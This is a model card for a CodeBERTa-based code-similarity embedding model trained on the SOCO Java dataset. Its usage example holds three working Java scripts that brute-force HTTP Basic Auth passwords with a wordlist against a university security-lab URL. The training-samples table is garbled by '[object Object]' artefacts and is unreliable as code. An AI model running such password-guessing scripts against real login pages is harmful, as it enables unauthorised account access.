This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Type: Sentence Transformer
Base model: huggingface/CodeBERTa-small-v1
Maximum Sequence Length: 512 tokens
Output Dimensionality: 768 dimensions
Similarity Function: Cosine Similarity
Training Dataset:
- soco_train_java

Model Sources

Documentation: Sentence Transformers Documentation
Repository: Sentence Transformers on GitHub
Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

python

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

Dataset: soco_train_java at 44ca4ff
Size: 42,960 training samples
Columns: anchor_code, positive_code, and negative_code

Approximate statistics based on the first 1000 samples:

	anchor_code	positive_code	negative_code
type	string	string	string
details	min: 512 tokens mean: 512.0 tokens max: 512 tokens	min: 512 tokens mean: 512.0 tokens max: 512 tokens	min: 51 tokens mean: 456.08 tokens max: 512 tokens

Samples:

anchor_code	positive_code	negative_code
import java.net.[object Object];[object Object]import java.*;[object Object][object Object] public class Dictionary {[object Object][object Object] URLConnection conn = null;[object Object] private static boolean status = false;[object Object][object Object] public static void main (String args[]){[object Object] Dictionary a = new Dictionary();[object Object] String[] inp = {"[object Object]",[object Object] "",[object Object] ""};[object Object] File file = new File("words");[object Object] exit:[object Object] try {[object Object] BufferedReader in = new BufferedReader(new FileReader(file));[object Object] int attempt = 0;[object Object] inp[2] = in.readLine();[object Object] while (inp[2] != null) {[object Object] [object Object] if (inp[2].length() <= 3) {[object Object] attempt++;[object Object] a.doit(inp);[object Object] if (status) {[object Object] System.out.println("Crrect password is: " + inp[2]);[object Object] System.out.println("Number of attempts = " + attempt);[object Object] break exit;[object Object] }[object Object] }[object Object] inp[2] = in.readLine();[object Object] }[object Object] } catch (FileNotFoundException e1) {[object Object] [object Object] System.err.println("File not found: " + file);[object Object] } catch (IOException e2) {[object Object] [object Object] e2.printStackTrace();[object Object] }[object Object][object Object] }[object Object][object Object] public void doit(String ar...	import java.net.[object Object];[object Object][object Object] public class Dictionary {[object Object] int attempts = 0;[object Object] URLConnection conn = null;[object Object][object Object] public static void main (String args[]){[object Object][object Object] Dictionary a = new Dictionary();[object Object] a.attack(args);[object Object] }[object Object][object Object] public void attack(String args[]) {[object Object] try {[object Object] String login = new String("");[object Object] String url = new String("[object Object]");[object Object] String passwd = new String();[object Object][object Object][object Object] passwd = getPasswd();[object Object] BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));[object Object][object Object] String line;[object Object] while ((line = in.readLine()) != null) {[object Object] System.out.println(line);[object Object] }[object Object] System.out.println("Password Cracked Successfully!!!");[object Object] System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");[object Object] }[object Object] catch (IOException e) {[object Object] [object Object] String r = new String(e.getMessage());[object Object] if ( r != null)[object Object] {[object Object] System.out.println...	[object Object][object Object][object Object]import java.io.[object Object];[object Object][object Object]import java.util.*;[object Object][object Object]import java.misc.BASE64Encoder;[object Object][object Object]public class Dictionary {[object Object][object Object] private String userId;[object Object] private String password;[object Object][object Object] ReadDictionary myWords = new ReadDictionary();[object Object][object Object] public Dictionary() {[object Object][object Object] [object Object] myWords.openFile();[object Object][object Object] [object Object] Authenticator.setDefault (new MyAuthenticator());[object Object] [object Object] [object Object] }[object Object][object Object] public String fetchURL (String urlString) {[object Object][object Object][object Object] StringBuffer sb = new StringBuffer();[object Object] HttpURLConnection connection;[object Object] Date startTime, endTime;[object Object] int responseCode = -1;[object Object] boolean retry = true; [object Object] [object Object] URL url;[object Object] startTime = new Date();[object Object] [object Object] System.out.println (" time :" + startTime);[object Object][object Object] while (retry == true)[object Object] {[object Object] [object Object] try {[object Object][object Object] url = new URL (urlString);[object Object][object Object] connection = (HttpURLConnection)url.openConnection();[object Object][object Object] setUserId("");[object Object] setPassword("rhk8611");[object Object][object Object] System.out.println("Attempting get a response : " +connection.getURL() );[object Object] responseCode = connection.getResponseCode();[object Object] System.out.print(responseCode + " ");[object Object][object Object] if (responseCode == HttpURLCo...
import java.net.[object Object];[object Object]import java.*;[object Object][object Object] public class Dictionary {[object Object][object Object] URLConnection conn = null;[object Object] private static boolean status = false;[object Object][object Object] public static void main (String args[]){[object Object] Dictionary a = new Dictionary();[object Object] String[] inp = {"[object Object]",[object Object] "",[object Object] ""};[object Object] File file = new File("words");[object Object] exit:[object Object] try {[object Object] BufferedReader in = new BufferedReader(new FileReader(file));[object Object] int attempt = 0;[object Object] inp[2] = in.readLine();[object Object] while (inp[2] != null) {[object Object] [object Object] if (inp[2].length() <= 3) {[object Object] attempt++;[object Object] a.doit(inp);[object Object] if (status) {[object Object] System.out.println("Crrect password is: " + inp[2]);[object Object] System.out.println("Number of attempts = " + attempt);[object Object] break exit;[object Object] }[object Object] }[object Object] inp[2] = in.readLine();[object Object] }[object Object] } catch (FileNotFoundException e1) {[object Object] [object Object] System.err.println("File not found: " + file);[object Object] } catch (IOException e2) {[object Object] [object Object] e2.printStackTrace();[object Object] }[object Object][object Object] }[object Object][object Object] public void doit(String ar...	import java.net.[object Object];[object Object][object Object] public class Dictionary {[object Object] int attempts = 0;[object Object] URLConnection conn = null;[object Object][object Object] public static void main (String args[]){[object Object][object Object] Dictionary a = new Dictionary();[object Object] a.attack(args);[object Object] }[object Object][object Object] public void attack(String args[]) {[object Object] try {[object Object] String login = new String("");[object Object] String url = new String("[object Object]");[object Object] String passwd = new String();[object Object][object Object][object Object] passwd = getPasswd();[object Object] BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));[object Object][object Object] String line;[object Object] while ((line = in.readLine()) != null) {[object Object] System.out.println(line);[object Object] }[object Object] System.out.println("Password Cracked Successfully!!!");[object Object] System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");[object Object] }[object Object] catch (IOException e) {[object Object] [object Object] String r = new String(e.getMessage());[object Object] if ( r != null)[object Object] {[object Object] System.out.println...	[object Object][object Object]public class Base64 {[object Object][object Object] final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";[object Object][object Object] [object Object] public static String encode(byte[] bytes) {[object Object][object Object] String tmp = "";[object Object] int i = 0;[object Object] byte pos; [object Object][object Object] for(i=0; i < (bytes.length - bytes.length%3); i+=3) {[object Object][object Object] pos = (byte) ((bytes[i] >> 2) & 63); [object Object] tmp = tmp + baseTable.charAt(pos); [object Object][object Object] pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); [object Object] tmp = tmp + baseTable.charAt( pos );[object Object] [object Object] pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3));[object Object] tmp = tmp + baseTable.charAt(pos);[object Object] [object Object] pos = (byte) (((bytes[i+2]) & 63));[object Object] tmp = tmp + baseTable.charAt(pos);[object Object] [object Object] [object Object] [object Object] if(((i+2)%56) == 0) {[object Object] tmp = tmp + "\r\n";[object Object] }[object Object] }[object Object][object Object] if(bytes.length % 3 != 0) {[object Object][object Object] if(bytes.length % 3 == 2) {[object Object][object Object] pos = (byte) ((bytes[i] >> 2) & 63); [object Object] tmp = tmp + baseTable.charAt(pos); [object Object][object Object] pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); [object Object] tmp = tmp + baseTable.charAt( pos );[object Object] [object Object] ...
import java.net.[object Object];[object Object]import java.*;[object Object][object Object] public class Dictionary {[object Object][object Object] URLConnection conn = null;[object Object] private static boolean status = false;[object Object][object Object] public static void main (String args[]){[object Object] Dictionary a = new Dictionary();[object Object] String[] inp = {"[object Object]",[object Object] "",[object Object] ""};[object Object] File file = new File("words");[object Object] exit:[object Object] try {[object Object] BufferedReader in = new BufferedReader(new FileReader(file));[object Object] int attempt = 0;[object Object] inp[2] = in.readLine();[object Object] while (inp[2] != null) {[object Object] [object Object] if (inp[2].length() <= 3) {[object Object] attempt++;[object Object] a.doit(inp);[object Object] if (status) {[object Object] System.out.println("Crrect password is: " + inp[2]);[object Object] System.out.println("Number of attempts = " + attempt);[object Object] break exit;[object Object] }[object Object] }[object Object] inp[2] = in.readLine();[object Object] }[object Object] } catch (FileNotFoundException e1) {[object Object] [object Object] System.err.println("File not found: " + file);[object Object] } catch (IOException e2) {[object Object] [object Object] e2.printStackTrace();[object Object] }[object Object][object Object] }[object Object][object Object] public void doit(String ar...	import java.net.[object Object];[object Object][object Object] public class Dictionary {[object Object] int attempts = 0;[object Object] URLConnection conn = null;[object Object][object Object] public static void main (String args[]){[object Object][object Object] Dictionary a = new Dictionary();[object Object] a.attack(args);[object Object] }[object Object][object Object] public void attack(String args[]) {[object Object] try {[object Object] String login = new String("");[object Object] String url = new String("[object Object]");[object Object] String passwd = new String();[object Object][object Object][object Object] passwd = getPasswd();[object Object] BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));[object Object][object Object] String line;[object Object] while ((line = in.readLine()) != null) {[object Object] System.out.println(line);[object Object] }[object Object] System.out.println("Password Cracked Successfully!!!");[object Object] System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");[object Object] }[object Object] catch (IOException e) {[object Object] [object Object] String r = new String(e.getMessage());[object Object] if ( r != null)[object Object] {[object Object] System.out.println...	[object Object][object Object]import java.net.[object Object];[object Object]import java.io.*;[object Object]public class Dictionary {[object Object] static String userName;[object Object] static URL url;[object Object] static URLAuthenticator urlAuthenticator;[object Object] static int noOfAttempts;[object Object] [object Object] public Dictionary() {[object Object] }[object Object][object Object] public static void main (String args[]) {[object Object] Properties props = System.getProperties();[object Object] props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");[object Object] [object Object] System.out.println(props.get("http.proxyHost"));[object Object] BufferedReader inFile = null;[object Object] [object Object] try {[object Object] if (args.length < 1) { [object Object] System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");[object Object] System.exit(1);[object Object] } [object Object] inFile = new BufferedReader (new FileReader(args[0]));[object Object][object Object][object Object][object Object] breakPassword(inFile);[object Object] }[object Object] [object Object] catch (FileNotFoundException e) { [object Object] System.err.println(e.getMessage());[object Object] System.exit(1);[object Object] }[object Object] catch (IOException e) { [object Object] ...

Loss: TripletLoss with these parameters:
json
1{ 2 "distance_metric": "TripletDistanceMetric.EUCLIDEAN", 3 "triplet_margin": 5 4}

Training Hyperparameters

Non-Default Hyperparameters

per_device_train_batch_size: 16
num_train_epochs: 1
warmup_ratio: 0.1
fp16: True
batch_sampler: no_duplicates

All Hyperparameters

Click to expand

overwrite_output_dir: False
do_predict: False
eval_strategy: no
prediction_loss_only: True
per_device_train_batch_size: 16
per_device_eval_batch_size: 8
per_gpu_train_batch_size: None
per_gpu_eval_batch_size: None
gradient_accumulation_steps: 1
eval_accumulation_steps: None
torch_empty_cache_steps: None
learning_rate: 5e-05
weight_decay: 0.0
adam_beta1: 0.9
adam_beta2: 0.999
adam_epsilon: 1e-08
max_grad_norm: 1.0
num_train_epochs: 1
max_steps: -1
lr_scheduler_type: linear
lr_scheduler_kwargs: {}
warmup_ratio: 0.1
warmup_steps: 0
log_level: passive
log_level_replica: warning
log_on_each_node: True
logging_nan_inf_filter: True
save_safetensors: True
save_on_each_node: False
save_only_model: False
restore_callback_states_from_checkpoint: False
no_cuda: False
use_cpu: False
use_mps_device: False
seed: 42
data_seed: None
jit_mode_eval: False
use_ipex: False
bf16: False
fp16: True
fp16_opt_level: O1
half_precision_backend: auto
bf16_full_eval: False
fp16_full_eval: False
tf32: None
local_rank: 0
ddp_backend: None
tpu_num_cores: None
tpu_metrics_debug: False
debug: []
dataloader_drop_last: False
dataloader_num_workers: 0
dataloader_prefetch_factor: None
past_index: -1
disable_tqdm: False
remove_unused_columns: True
label_names: None
load_best_model_at_end: False
ignore_data_skip: False
fsdp: []
fsdp_min_num_params: 0
fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
fsdp_transformer_layer_cls_to_wrap: None
accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
deepspeed: None
label_smoothing_factor: 0.0
optim: adamw_torch
optim_args: None
adafactor: False
group_by_length: False
length_column_name: length
ddp_find_unused_parameters: None
ddp_bucket_cap_mb: None
ddp_broadcast_buffers: False
dataloader_pin_memory: True
dataloader_persistent_workers: False
skip_memory_metrics: True
use_legacy_prediction_loop: False
push_to_hub: False
resume_from_checkpoint: None
hub_model_id: None
hub_strategy: every_save
hub_private_repo: None
hub_always_push: False
gradient_checkpointing: False
gradient_checkpointing_kwargs: None
include_inputs_for_metrics: False
include_for_metrics: []
eval_do_concat_batches: True
fp16_backend: auto
push_to_hub_model_id: None
push_to_hub_organization: None
mp_parameters:
auto_find_batch_size: False
full_determinism: False
torchdynamo: None
ray_scope: last
ddp_timeout: 1800
torch_compile: False
torch_compile_backend: None
torch_compile_mode: None
include_tokens_per_second: False
include_num_input_tokens_seen: False
neftune_noise_alpha: None
optim_target_modules: None
batch_eval_metrics: False
eval_on_start: False
use_liger_kernel: False
eval_use_gather_object: False
average_tokens_across_devices: False
prompts: None
batch_sampler: no_duplicates
multi_dataset_batch_sampler: proportional

Training Logs

Epoch	Step	Training Loss
0.0372	100	1.1693
0.0745	200	0.0311
0.1117	300	0.0292
0.1490	400	0.0112
0.1862	500	0.0105
0.2235	600	0.0214
0.2607	700	0.0185
0.2980	800	0.0177
0.3352	900	0.0074
0.3724	1000	0.0014
0.4097	1100	0.0115
0.4469	1200	0.0106
0.4842	1300	0.0017
0.5214	1400	0.012
0.5587	1500	0.0105
0.5959	1600	0.0065
0.6331	1700	0.0029
0.6704	1800	0.0066
0.7076	1900	0.0057
0.7449	2000	0.006
0.7821	2100	0.0015
0.8194	2200	0.002
0.8566	2300	0.0023
0.8939	2400	0.0016
0.9311	2500	0.0015
0.9683	2600	0.0021

Framework Versions

Python: 3.11.13
Sentence Transformers: 4.1.0
Transformers: 4.52.4
PyTorch: 2.6.0+cu124
Accelerate: 1.7.0
Datasets: 3.6.0
Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

bibtex

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

TripletLoss

bibtex

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}